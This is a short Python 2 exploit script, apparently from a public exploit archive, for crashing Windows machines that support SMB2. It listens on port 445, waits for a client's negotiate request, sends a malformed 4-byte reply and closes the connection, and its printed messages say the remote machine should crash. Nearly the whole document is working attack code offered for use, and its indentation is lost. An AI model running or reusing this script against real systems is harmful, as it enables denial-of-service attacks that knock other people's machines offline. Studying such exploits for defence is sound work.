Microsoft Windows SMB2 Negotiate Protocol Response Crash

`import socket,sys,time  
  
print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash."  
print "Written by Jelmer de Hen"  
print "Published at http://h.ackack.net/?p=387"  
smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
smb.bind(("", 445))  
smb.listen(1)  
smbconn, addr = smb.accept()  
print "[+] "+str(addr)+" is trying to make connection to us over port 445"  
while 1:  
new_packet = smbconn.recv(1024)  
print "[+] Waiting for a negotiate request packet"  
if new_packet[8]=="r":  
print "[+] Received the negotiate request packet injecting the 4 bytes now..."  
smbconn.send("\x00\x00\x00\x01")  
break  
print "[+] Closing connection... This is part of the exploit"  
smbconn.close()  
print "[+] Done, if all went good then the box on the other side crashed"  
  
`